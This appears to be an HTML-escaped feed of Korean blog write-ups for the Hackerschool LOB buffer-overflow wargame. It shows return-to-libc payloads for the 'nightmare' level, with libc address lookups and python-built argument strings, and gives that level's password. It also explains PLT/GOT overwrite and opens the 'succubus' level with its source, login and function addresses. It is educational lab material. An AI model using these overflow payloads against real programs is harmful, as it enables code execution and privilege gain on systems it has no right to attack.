&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&quot;AAAA&quot;&amp;nbsp;부분은&amp;nbsp;strcpy()&amp;nbsp;함수의&amp;nbsp;RET&amp;nbsp;부분이므로&amp;nbsp;당연히&amp;nbsp;&quot;0x41414141&quot;&amp;nbsp;주소로는&amp;nbsp;반환할&amp;nbsp;수&amp;nbsp;없기&amp;nbsp;때문에&amp;nbsp;segmentation&amp;nbsp;에러가&amp;nbsp;발생한다.&lt;br /&gt;&lt;br /&gt;이는 core 파일을 생성해서 x/40x $esp-4로 보면 명확하게 확인할 수 있다.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;581&quot; data-origin-height=&quot;252&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPljeJ/btsFbjmAJBR/WW0u5sPOEXSK5wIJKjKnHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPljeJ/btsFbjmAJBR/WW0u5sPOEXSK5wIJKjKnHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPljeJ/btsFbjmAJBR/WW0u5sPOEXSK5wIJKjKnHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPljeJ%2FbtsFbjmAJBR%2FWW0u5sPOEXSK5wIJKjKnHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;581&quot; height=&quot;252&quot; data-origin-width=&quot;581&quot; data-origin-height=&quot;252&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708609830697&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ldd nightmare

nm /lib/libc.so.6 | grep system

strings -tx /lib/libc.so.6 | grep /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 공유 라이브러리에서 system() 함수와 &quot;/bin/sh&quot; 문자열의 주소를 알아와야 하는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 명령들을 이용해 system() 함수의 주소 0x40058ae0(0x40018000 + 0x40ae0)과 &quot;/bin/sh&quot;문자열의 주소 0x400fbff9(0x40018000 + 0xe3ff9)를 알아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xZouK/btsFcRJs9gu/CSUjKnDUrN0KiHo1UALXok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xZouK/btsFcRJs9gu/CSUjKnDUrN0KiHo1UALXok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xZouK/btsFcRJs9gu/CSUjKnDUrN0KiHo1UALXok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxZouK%2FbtsFcRJs9gu%2FCSUjKnDUrN0KiHo1UALXok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1377&quot; height=&quot;340&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708609895704&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cp nightmare nightmare2

./nightmare2 `python -c 'print &quot;a&quot; * 44 + &quot;\x10\x84\x04\x08&quot; + &quot;AAAA&quot; + &quot;bbbb&quot; + &quot;cccc&quot; + &quot;\xe0\x8a\x05\x40&quot; + &quot;dddd&quot; + &quot;\xf9\xbf\x0f\x40&quot;'`

gdb -q -c core

x/40x $esp-4&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;알아낸 정보들로 test payload를 구성해 core 파일을 생성한 후 분석하여 strcpy() 함수의 RET 부분과 system() 함수의 주소가 있는 스택 주소를 알아낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;strcpy() 함수의 RET 부분은 0xbffffc80이고, system() 함수의 주소가 있는 부분의 스택 주소는 0xbffffc8c이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;126&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWieGv/btsFbgcmvaX/4myRZbH42Khxnf8bLQTafK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWieGv/btsFbgcmvaX/4myRZbH42Khxnf8bLQTafK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWieGv/btsFbgcmvaX/4myRZbH42Khxnf8bLQTafK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWieGv%2FbtsFbgcmvaX%2F4myRZbH42Khxnf8bLQTafK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1377&quot; height=&quot;126&quot; data-origin-width=&quot;1377&quot; data-origin-height=&quot;126&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708610291750&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./nightmare `python -c 'print &quot;a&quot; * 44 + &quot;\x10\x84\x04\x08&quot; + &quot;AAAA&quot; + &quot;\x80\xfc\xff\xbf&quot; + &quot;\x8c\xfc\xff\xbf&quot; + &quot;\xe0\x8a\x05\x40&quot; + &quot;dddd&quot; + &quot;\xf9\xbf\x0f\x40&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;수정한 payload로 nightmare를 실행하면 nightmare의 password인 beg for me를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;strcpy() 함수의 RET 부분의 값을 system() 함수의 주소로 덮으면 결과적으로 'AAAA'로 채워져 있던 strcpy() 함수의 RET 부분이 RET 부분부터하여 그 뒤로 \xe0\x8a\x05\x40\x64\x6\x64\x64~~로 채워질 것이고, RET 부분의 4byte 값은 system() 함수의 주소인 0x40058AE0이므로 strcpy() 함수가 종료되고 system() 함수로 반환될 것이다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;이번 문제에서는 buffer[40]의 공간을 초기화하지 않으므로 buffer[40]의 공간에 system() 함수의 주소부터 system() 함수의 RET와 &quot;/bin/sh&quot; 문자열의 주소를 넣고 나머지 공간을 dummy 값으로 채운 다음 strcpy() 함수의 RET 부분을 buffer[40]의 스택 주소로 변조해도 된다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;다른 방식으로는 리눅스에서 main() 함수가 종료될 때 소멸자 역할을 하는 함수인 &amp;nbsp;__DTOR_END__를 이용하려고 했지만 이는 strcpy() 함수가 먼저 호출되고 main() 함수가 종료되어야 하므로 순서가 맞지 않아 적용시키지 못했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;또 다른 방식으로는 GOT overwrite 기법을 적용하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;main 함수가 끝나고 strcpy() 함수로 반환된 후 &quot;AAAA&quot;로 초기화 되어 있는 strcpy() 함수의 RET 부분에 strcpy() 함수의 주소를 넣어 또 strcpy() 함수로 반환하도록 한 후 strcpy() 함수의 주소에 system() 함수의 주소를 넣고, 다시 한 번 strcpy() 함수를 넣는 방식으로 하려고 했지만 아직 시도는 못해봤다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;plt &amp;amp; got 핵심 설명&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;plt와&amp;nbsp;got는&amp;nbsp;정적&amp;nbsp;라이브러리일&amp;nbsp;때는&amp;nbsp;상관없고,&amp;nbsp;동적&amp;nbsp;라이브러리일&amp;nbsp;때&amp;nbsp;쓰이는&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;기본적으로 컴파일할 때는 동적 라이브러리 방식으로 컴파일 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1710806735295&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;plt : 외부 함수를 연결해주는 테이블이다. 
plt를 통해 다른 라이브러리에 있는 프로시저를 호출해 사용할 수 있는데
plt도 테이블이기 때문에 어떠한 정보들이 저장되어 있는데, 이 정보들은 GOT 테이블 내의 주소이다.&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1710806742500&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GOT : PLT가 참조하는 테이블로, 실제 함수들의 주소가 들어있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;dynamic link 방식으로 컴파일된 프로그램에서 함수를 호출하게 되면 최초로 호출하느냐 혹은 이전에 호출한 적이 있느냐에 따라 야간의 차이가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1710807022331&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;plt를 가장 먼저 참조하고, 이어서 GOT로 점프하는데, GOT에 기록되어 있는 실제 함수 주소가 없기 때문에
PLT로 다시 이동하여 PLT에 있는 정보들과 _dl_runtime_resolve_xsavec 함수를 이용해
_dl_runtime_resolve 과정을 걸쳐 GOT에 실제 주소를 저장한 후 실제 함수 주소로 점프하여 함수가 동작하게 된다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저, 어떠한 함수를 최초로 호출하는 거라면 위의 과정을 따른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;어떠한 함수를 최초로 호출할 때 got에는 함수의 실제 주소가 아닌 다른 주소가 있는데, 먼저 got에 적혀있는 해당 주소로 점프하여 명령을 따라 실행하다가 _dl_runtime_resolve_xsavec 함수를 호출하게 되는데, 이 함수가 수행되면서 내부에서 함수의 실제 주소를 구하고 GOT에 저장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1710807086095&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;plt를 가장 먼저 참조하고, plt에서 got로 점프하는데
got에 기록되어 있는 실제 함수 주소(library에 기록되어 있음)룰 호출하여 함수가 동작하게 된다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 어떠한 함수를 이전에 호출한 적이 있고, &amp;nbsp;해당 함수를 다시 호출할 때는 got에 해당 함수의 실제 주소가 저장되어 있기 때문에 위의 과정을 따른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;GOT Overwrite&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;PLT에서&amp;nbsp;GOT를&amp;nbsp;참조하여&amp;nbsp;실제&amp;nbsp;함수&amp;nbsp;주소로&amp;nbsp;점프할&amp;nbsp;때&amp;nbsp;GOT에&amp;nbsp;적혀있는&amp;nbsp;실제&amp;nbsp;함수&amp;nbsp;주소&amp;nbsp;값을&amp;nbsp;검증하지&amp;nbsp;않는다.&lt;br /&gt;&lt;br /&gt;그렇기&amp;nbsp;때문에&amp;nbsp;특정&amp;nbsp;함수를&amp;nbsp;처음&amp;nbsp;호출하여&amp;nbsp;해당&amp;nbsp;함수의&amp;nbsp;실제&amp;nbsp;주소를&amp;nbsp;GOT에&amp;nbsp;저장한&amp;nbsp;다음&amp;nbsp;저장된&amp;nbsp;값을&amp;nbsp;변조하면&amp;nbsp;해당&amp;nbsp;함수를&amp;nbsp;다시&amp;nbsp;호출할&amp;nbsp;때&amp;nbsp;변조된&amp;nbsp;값에&amp;nbsp;해당하는&amp;nbsp;주소에&amp;nbsp;있는&amp;nbsp;코드를&amp;nbsp;수행하게&amp;nbsp;될&amp;nbsp;것이고,&amp;nbsp;이를&amp;nbsp;GOT&amp;nbsp;overwrite&amp;nbsp;기법이라고&amp;nbsp;한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://0secusik0.tistory.com/67&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://0secusik0.tistory.com/67&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;plt&amp;amp;got 실제 문제 : &lt;a href=&quot;https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/&lt;/a&gt;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/496</guid>
      <comments>https://sean.tistory.com/496#entry496comment</comments>
      <pubDate>Thu, 22 Feb 2024 23:17:36 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL17 (zombie_assassin -&amp;gt; succubus) : function calls(꼬리 물기식 함수 호출, 함수의 RET 부분을 이용하여 쉘 코드 실행)</title>
      <link>https://sean.tistory.com/495</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : zombie_assassin&lt;br /&gt;password : no place to hide&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wc2t1/btsE9JX6Uhv/0YHyF7ZyvZH4wIZM1HnSH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wc2t1/btsE9JX6Uhv/0YHyF7ZyvZH4wIZM1HnSH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wc2t1/btsE9JX6Uhv/0YHyF7ZyvZH4wIZM1HnSH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWc2t1%2FbtsE9JX6Uhv%2F0YHyF7ZyvZH4wIZM1HnSH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;73&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708406163843&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;dumpcode.h&amp;gt;

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf(&quot;welcome to the MO!\n&quot;);

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf(&quot;welcome to the YUT!\n&quot;);
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf(&quot;welcome to the GUL!\n&quot;);
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf(&quot;welcome to the GYE!\n&quot;);
	check = 2;
}

void DO(void)
{
	printf(&quot;welcome to the DO!\n&quot;);
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc &amp;lt; 2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf(&quot;You cannot use library\n&quot;);
		exit(0);
	}

	// check address
	addr = (char *)&amp;amp;DO;
        if(memcmp(argv[1]+44, &amp;amp;addr, 4) != 0){
                printf(&quot;You must fall in love with DO\n&quot;);
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf(&quot;%s\n&quot;, buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&amp;nbsp;커맨드라인&amp;nbsp;인자가&amp;nbsp;있어야&amp;nbsp;한다.&lt;br /&gt;2.&amp;nbsp;argv[1]에&amp;nbsp;\x40이&amp;nbsp;있으면&amp;nbsp;안된다.&lt;br /&gt;3.&amp;nbsp;addr변수에&amp;nbsp;DO&amp;nbsp;함수의&amp;nbsp;주소를&amp;nbsp;담는다.&lt;br /&gt;4.&amp;nbsp;argv[1]+44&amp;nbsp;주소에서부터&amp;nbsp;4byte&amp;nbsp;만큼의&amp;nbsp;값이&amp;nbsp;DO&amp;nbsp;함수의&amp;nbsp;주소와&amp;nbsp;같아야&amp;nbsp;한다.&lt;br /&gt;5.&amp;nbsp;buffer[40]과&amp;nbsp;SFP&amp;nbsp;부분을&amp;nbsp;0으로&amp;nbsp;초기화&amp;nbsp;한다.&lt;br /&gt;6.&amp;nbsp;buffer+48+100&amp;nbsp;주소부터&amp;nbsp;0xbfffffff전까지&amp;nbsp;모두&amp;nbsp;0으로&amp;nbsp;초기화&amp;nbsp;한다.&lt;br /&gt;7.&amp;nbsp;buffer-3000&amp;nbsp;주소부터&amp;nbsp;2060만큼의&amp;nbsp;공간을&amp;nbsp;0으로&amp;nbsp;초기화&amp;nbsp;한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2번 조건으로 인해 첫 번째 커맨드라인 인자에 공유 라이브러리 주소를 넣을 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;4번 조건으로 인해 RET 부분에 덮어쓸 값은 DO 함수의 주소여야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;5, 6, 7번 조건으로 인해 buffer[40] 영역, SFP 부분, buffer+48+100 ~ 0xbfffffff 영역, buffer[40]-3000 ~ buffer[40]-40 영역의 공간은 모두 0으로 초기화 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;하지만 6, 7번 조건을 반대로 생각해보면 buffer[40]+48 ~ buffer[40]+148 영역과 buffer[40]-40 ~ buffer[40] 영역은 자유롭게 사용할 수 있다는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러므로 payload를 스택에 넣을 때 RET 부분에서부터는 0으로 초기화 되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제는 함수들이 여러 개 있는데, 각 함수들의 이름을 보면 도, 개, 걸, 윷, 모이고, 각 함수들에서는 check 변수의 값을 검사하고 check 변수에 값을 넣는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 마지막 MO() 함수에서는 매개 변수를 받아 해당 매개 변수를 인자로 넘겨 system() 함수를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;전체적인 흐름을 보면 DO() 함수부터 하여 차례대로 호출하면 된다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bi2vUF/btsE9Gf8j46/IDqYZ8DJvofBMkHPVoCcT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bi2vUF/btsE9Gf8j46/IDqYZ8DJvofBMkHPVoCcT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bi2vUF/btsE9Gf8j46/IDqYZ8DJvofBMkHPVoCcT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbi2vUF%2FbtsE9Gf8j46%2FIDqYZ8DJvofBMkHPVoCcT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;127&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;327&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/FAutg/btsE6Rpqo67/NMjHJ026Sl6UTJ9WmdbF9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/FAutg/btsE6Rpqo67/NMjHJ026Sl6UTJ9WmdbF9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/FAutg/btsE6Rpqo67/NMjHJ026Sl6UTJ9WmdbF9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFAutg%2FbtsE6Rpqo67%2FNMjHJ026Sl6UTJ9WmdbF9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;535&quot; height=&quot;327&quot; data-origin-width=&quot;535&quot; data-origin-height=&quot;327&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 각 함수들의 주소를 알아내기 위해 succubus 파일을 succubus2 파일로 복사한 후 gdb로 열어 프로세스화 시킨 다음 각 함수들의 주소를 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;DO : 0x80487ec&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;GYE&amp;nbsp;:&amp;nbsp;0x80487bc&lt;br /&gt;GUL&amp;nbsp;:&amp;nbsp;0x804878c&lt;br /&gt;YUT&amp;nbsp;:&amp;nbsp;0x804875c&lt;br /&gt;MO&amp;nbsp;:&amp;nbsp;0x8048724&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
